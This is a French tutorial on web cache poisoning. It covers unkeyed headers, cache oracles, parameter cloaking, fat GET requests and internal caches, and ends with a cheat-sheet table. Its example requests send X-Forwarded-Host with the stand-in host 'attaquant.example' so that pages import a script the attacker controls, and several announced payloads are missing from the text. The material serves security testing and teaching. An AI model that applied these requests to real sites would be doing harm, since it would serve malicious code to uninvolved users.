Web cache poisoning¶
L'empoisonnement de cache web (web cache poisoning) est une technique avancée où un attaquant exploite le comportement d'un serveur et de son cache pour faire distribuer une réponse HTTP malveillante à d'autres utilisateurs. L'attaque se déroule en deux phases : d'abord obtenir du serveur une réponse contenant une charge malveillante, ensuite s'assurer que cette réponse est bien mise en cache, donc servie aux autres.
Un cache empoisonné est avant tout un vecteur de distribution plus qu'une attaque en soi : il décuple la portée de failles comme la XSS, l'injection JavaScript ou la redirection ouverte. Son impact dépend donc de la gravité de la charge injectée et du volume de trafic sur la page affectée. La durée de mise en cache importe peu, le ré-empoisonnement étant facile à automatiser.
Construire l'attaque¶
La méthode tient en trois étapes : identifier les entrées hors clé, faire générer une réponse malveillante, puis obtenir sa mise en cache.
Entrées hors clé. Toute l'attaque repose sur les entrées que le cache ignore au moment de décider quelle réponse servir — typiquement des en-têtes comme X-Forwarded-Host. Comme elles ne font pas partie de la clé de cache, on peut y injecter une charge : la réponse empoisonnée sera servie à tous ceux dont la requête partage la même clé. On repère ces entrées en ajoutant des valeurs aléatoires et en observant la réponse, mais l'extension Param Miner (clic droit → Guess headers) automatise la découverte à partir d'une large liste d'en-têtes.
Risque sur un site en production
Chercher des entrées hors clé sur un site réel risque de servir vos réponses générées à de vrais utilisateurs. Il est impératif d'utiliser une clé de cache unique (cache buster) pour que vos réponses ne soient servies qu'à vous.
Générer puis mettre en cache. On étudie comment le site traite l'entrée (réflexion sans assainissement, génération dynamique d'URL), puis on détermine ce qui rend une réponse cachable — extension, type de contenu, route, code de statut, en-têtes. Cette étape demande souvent de la patience pour comprendre le comportement du cache.
Exploiter les défauts de conception du cache¶
XSS. Le cas le plus simple : une entrée hors clé réfléchie sans assainissement dans une réponse cachable. Si X-Forwarded-Host sert à générer une URL d'image reflétée dans la page, on y injecte une charge XSS qui sera servie à tous les visiteurs :
Import de ressource détourné. Si un en-tête hors clé génère l'URL d'un script importé, on la fait pointer vers un fichier malveillant que l'on contrôle :
GET / HTTP/1.1
Host: site.example
X-Forwarded-Host: attaquant.example
→ <script src="https://attaquant.example/static/analytics.js"></script>
Cookies. Quand un cookie (préférence de langue, par exemple) génère du contenu dynamique et n'est pas dans la clé de cache, on peut empoisonner la réponse pour tous. C'est plus rare, ces failles étant souvent corrigées vite car des utilisateurs légitimes empoisonnent accidentellement le cache.
Plusieurs en-têtes. Certains sites ne deviennent vulnérables qu'en combinant plusieurs entrées hors clé — par exemple un en-tête de protocole (X-Forwarded-Scheme) couplé à X-Forwarded-Host pour détourner une redirection vers un script externe :
GET /resources/js/tracking.js HTTP/2
Host: site.example
X-Forwarded-Host: attaquant.example
X-Forwarded-Scheme: nothttps
Si le serveur d'exploit sert le fichier avec Content-Type: application/javascript et un nom finissant en .js, les balises <script> deviennent inutiles dans le corps.
Exploiter les réponses trop bavardes¶
Certaines réponses révèlent les informations dont l'attaquant a besoin. Les directives Cache-Control (avec Age et max-age) indiquent la fréquence de vidage, ce qui permet de chronométrer une unique requête malveillante au lieu de bombarder le serveur. L'en-tête Vary liste les en-têtes traités comme partie de la clé même s'ils sont normalement hors clé — souvent User-Agent. En identifiant l'User-Agent d'une cible (en la faisant interagir avec son serveur via une balise image), on cible un sous-ensemble d'utilisateurs ; en visant l'User-Agent le plus courant, on maximise la portée.
Exploiter les défauts d'implémentation du cache¶
En principe l'URL ne permet pas d'empoisonner (toute modification agit comme cache buster), mais en pratique les caches appliquent des transformations sur les éléments en clé : exclure la chaîne de requête, retirer certains paramètres, normaliser les entrées. Ces transformations créent des écarts entre la donnée écrite dans la clé et celle envoyée à l'application.
Oracle de cache. Le point de départ est un endpoint donnant un retour sur le comportement du cache (en-tête de hit, contenu dynamique observable, temps de réponse variable), réfléchissant idéalement l'URL et un paramètre. Pour les caches tiers, la documentation aide — Akamai supporte Pragma: akamai-x-get-cache-key qui affiche la clé.
Port hors clé. Le Host est souvent en clé, mais certains systèmes en excluent le port, qui devient injectable :
Si la réponse en cache est servie après changement de port, celui-ci est hors clé — utile pour un déni de service (page d'erreur en cache) voire une XSS si le port est reflété.
Chaîne de requête hors clé. L'exclusion de la chaîne de requête est fréquente. Faute de pouvoir y mettre un cache buster, on en place un dans un en-tête en clé qui n'interfère pas (Accept-Encoding: gzip, deflate, cachebuster, Cookie: cachebuster=1). On peut alors exploiter une XSS réfléchie normalement masquée par la mise en cache :
Paramètre hors clé. Certains sites n'excluent que des paramètres analytiques (utm_content). Ils sont rarement utiles, mais une page traitant l'URL de façon vulnérable peut rendre l'exploitation possible :
Camouflage de paramètre (parameter cloaking). Quand un paramètre inoffensif est exclu mais qu'aucun gadget direct n'existe, on exploite les écarts d'analyse. Si le cache traite tout ? comme un nouveau paramètre mais pas le backend, on dissimule une charge dans le paramètre exclu. À l'inverse, Ruby on Rails traite ; comme délimiteur : couplé à un cache qui l'ignore, on surcharge un paramètre en clé. C'est dévastateur sur une fonction callback JSONP :
GET « gras ». Si la méthode HTTP est hors clé, on empoisonne avec une requête POST, ou un GET portant un corps (fat GET) qui surcharge le paramètre de l'URL. La plupart des sites bloquant les GET gras, on contourne via une surcharge de méthode :
Contenu dynamique dans les imports. Un fichier de ressource réfléchissant la chaîne de requête permet d'injecter du CSS malveillant (exfiltration via @import), voire d'empoisonner un fichier CSS statique si la page ne déclare pas de doctype.
Clés de cache normalisées. Les navigateurs encodent les caractères en émission, ce qui neutralise souvent une XSS réfléchie. Mais si le cache normalise les entrées (la version encodée et la non encodée partageant la même clé), on empoisonne avec la version non encodée et la victime — dont le navigateur encode l'URL — reçoit la réponse empoisonnée :
Injection dans la clé de cache. Si le cache groupe les éléments en clé sans échapper les délimiteurs, on crée deux requêtes de même clé en injectant le délimiteur dans un en-tête en clé :
Empoisonner les caches internes¶
Certaines applications implémentent leur propre cache, parfois en mettant en cache des fragments réutilisables plutôt que des réponses entières. La notion de clé de cache ne s'y applique pas vraiment : empoisonner un fragment utilisé sur toutes les pages compromet tous les utilisateurs en une seule requête. On les repère à des indices — réponse mêlant des entrées de requêtes différentes, réflexion sur des pages où l'on n'a rien injecté.
Prudence sur les caches internes
Le cache buster risque de ne pas fonctionner sur un cache interne. Pendant la phase de recherche, on peut empoisonner tous les utilisateurs sans le vouloir — il faut donc toujours empoisonner avec un domaine que l'on contrôle, jamais un domaine fictif générique.
Aide-mémoire¶
| Cible | Approche |
|---|---|
| En-tête hors clé | X-Forwarded-Host réfléchi → XSS, import détourné |
| Combinaison d'en-têtes | Protocole + hôte pour détourner une redirection |
| Port hors clé | Injection via Host:...:port → DoS, XSS |
| Chaîne de requête hors clé | Cache buster dans un en-tête en clé |
| Paramètre exclu | Camouflage via ; ou ? (parameter cloaking) |
| Méthode hors clé | Fat GET via X-HTTP-Method-Override |
| Encodage | Clés normalisées : charge non encodée |
| Cache interne | Empoisonner un fragment partagé |
Param Miner (découverte d'en-têtes hors clé et cache busters automatiques) et un oracle de cache fiable sont les deux piliers d'un test d'empoisonnement ; l'empoisonnement transforme une faille réfléchie « inexploitable » en faille stockée à large portée.